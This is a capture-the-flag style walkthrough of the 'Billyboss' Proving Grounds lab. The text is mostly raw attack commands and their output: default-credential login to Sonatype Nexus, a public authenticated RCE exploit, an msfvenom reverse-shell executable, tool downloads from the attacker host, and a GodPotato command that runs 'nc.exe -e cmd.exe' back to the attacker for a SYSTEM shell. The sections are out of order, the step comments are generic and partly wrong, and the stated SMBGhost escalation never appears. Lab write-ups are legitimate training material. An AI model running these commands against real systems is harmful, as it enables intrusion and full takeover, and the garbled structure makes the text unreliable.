Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
To compromise this lab, you will gain a foothold through basic password guessing. You will then exploit a remote code execution vulnerability in the Sonatype Nexus application. Finally, you will leverage the SMBGhost vulnerability to escalate your privileges, enhancing your skills in authentication bypass and privilege escalation techniques.
Description
This lab involves exploiting Sonatype Nexus 3.21.0-05 for authenticated remote code execution and using the SMBGhost vulnerability to escalate privileges. Learners will craft payloads to gain initial access and leverage an unpatched SMB service to obtain a SYSTEM shell. The lab highlights web application vulnerabilities and critical privilege escalation techniques.
Lab Objectives:
After completion of this lab, learners will be able to:
- Enumerate services to identify the Sonatype Nexus application on port 8081 and confirm its version.
- Use default credentials to access the application and execute commands to deploy a reverse shell.
- Analyze installed patches and running services to confirm vulnerability to SMBGhost (CVE-2020-0796).
- Deploy a custom SMBGhost exploit to elevate privileges to SYSTEM.
- Understand the importance of patching critical vulnerabilities and securing default credentials.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
─(kali㉿kali)-[~/offsec/billyboss]
# Run the helper or analysis script used in this lab step.
└─$ python3 49385.py
Logging in
Logged in successfully
Command executedThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(kali㉿kali)-[~/offsec/billyboss]
# Run the helper or analysis script used in this lab step.
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.180.61 - - [11/Jun/2026 18:57:54] "GET /shell.exe HTTP/1.1" 200 -
192.168.180.61 - - [11/Jun/2026 18:57:54] "GET /shell.exe HTTP/1.1" 200This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Move into the directory needed for the next action.
C:\Users\nathan>cd Desktop
# Move into the directory needed for the next action.
cd Desktop
# Inspect the directory for files relevant to the next step.
C:\Users\nathan\Desktop>dir
# Inspect the directory for files relevant to the next step.
dir
Volume in drive C has no label.
Volume Serial Number is EACB-9845
Directory of C:\Users\nathan\Desktop
07/09/2020 12:18 PM <DIR> .
07/09/2020 12:18 PM <DIR> ..
06/11/2026 03:46 PM 34 local.txt
1 File(s) 34 bytes
2 Dir(s) 8,921,755,648 bytes freeThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
iwr -uri http://192.168.45.205/GodPotato-NET4.exe -OutFile god.exeThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
PS C:\Users\nathan\Desktop> iwr -uri http://192.168.45.205/nc.exe -OutFile nc.exe
iwr -uri http://192.168.45.205/nc.exe -OutFile nc.exeInitial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: BaGet
|_http-server-header: Microsoft-IIS/10.0
|_http-cors: HEAD GET POST PUT DELETE TRACE CONNECT PATCH
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
8081/tcp open http Jetty 9.4.18.v20190429
|_http-title: Nexus Repository Manager
|_http-server-header: Nexus/3.21.0-05 (OSS)
| http-robots.txt: 2 disallowed entries
|_/repository/ /service/
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-11T21:56:00
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required- Port 8081 has Sonatype Nexus Repository Manager v3.21.0
- Searching online gives Authenticated RCE
- Trying default password admin:admin123 did not work, however nexus:nexus worked
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ searchsploit sonatype nexus 3.21
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated) | java/webapps/49385.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No ResultsThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/billyboss]
# Execute the next evidence-gathering step in the authorized lab.
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.205 LPORT=1234 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exeThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/Tools]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.180.61] 49887
Microsoft Windows [Version 10.0.18362.719]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\nathan\Nexus\nexus-3.21.0-05>Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Review the Windows privileges available to the current account.
C:\Users\nathan\Nexus\nexus-3.21.0-05>whoami /priv
# Review the Windows privileges available to the current account.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled- It has SeImpersonatePrivilege
- sigmapotato and prinspoofer.exe did not work
- Tried it with godpotato
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output confirms the effective user and privilege level of the current session.
PS C:\Users\nathan\Desktop> .\god.exe -cmd "nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.205 4444"
.\god.exe -cmd "nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.205 4444"
[*] CombaseModule: 0x140734262345728
[*] DispatchTable: 0x140734264688224
[*] UseProtseqFunction: 0x140734264056256
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\4a6d119c-7c44-454b-ba6d-d8b82adbe2c5\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002402-08d8-ffff-6a6b-138fca9bb9c8
[*] DCOM obj OXID: 0xc36dfd77bc35aad2
[*] DCOM obj OID: 0xa856a548efd5b7c
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 832 Token:0x768 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4512This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
(kali㉿kali)-[~/offsec/Tools]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.180.61] 50290
Microsoft Windows [Version 10.0.18362.719]
(c) 2019 Microsoft Corporation. All rights reserved.
# Confirm the identity of the current session.
C:\Windows\system32>whoami
# Confirm the identity of the current session.
whoami
# Confirm the identity of the current session.
C:\Windows\system32>whoami
# Confirm the identity of the current session.
whoami
# Move into the directory needed for the next action.
C:\Windows\system32>cd C:\Users\
# Move into the directory needed for the next action.
cd C:\Users\
# Inspect the directory for files relevant to the next step.
C:\Users>dir
# Inspect the directory for files relevant to the next step.
dir
Volume in drive C has no label.
Volume Serial Number is EACB-9845
Directory of C:\Users
05/28/2020 10:33 PM <DIR> .
05/28/2020 10:33 PM <DIR> ..
07/09/2020 12:19 PM <DIR> Administrator
07/09/2020 12:19 PM <DIR> nathan
05/25/2020 09:06 AM <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 8,906,731,520 bytes free
# Move into the directory needed for the next action.
C:\Users>cd Administrator
# Move into the directory needed for the next action.
cd Administrator
# Move into the directory needed for the next action.
C:\Users\Administrator>cd Desktop
# Move into the directory needed for the next action.
cd Desktop
# Inspect the directory for files relevant to the next step.
C:\Users\Administrator\Desktop>dir
# Inspect the directory for files relevant to the next step.
dir
Volume in drive C has no label.
Volume Serial Number is EACB-9845
Directory of C:\Users\Administrator\Desktop
05/09/2022 04:47 AM <DIR> .
05/09/2022 04:47 AM <DIR> ..
05/28/2020 10:35 PM 1,450 Microsoft Edge.lnk
06/11/2026 03:46 PM 34 proof.txt
2 File(s) 1,484 bytes
2 Dir(s) 8,906,731,520 bytes free
# Read the file contents for useful configuration or credential data.
C:\Users\Administrator\Desktop>type proof.txt
# Read the file contents for useful configuration or credential data.
type proof.txtTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.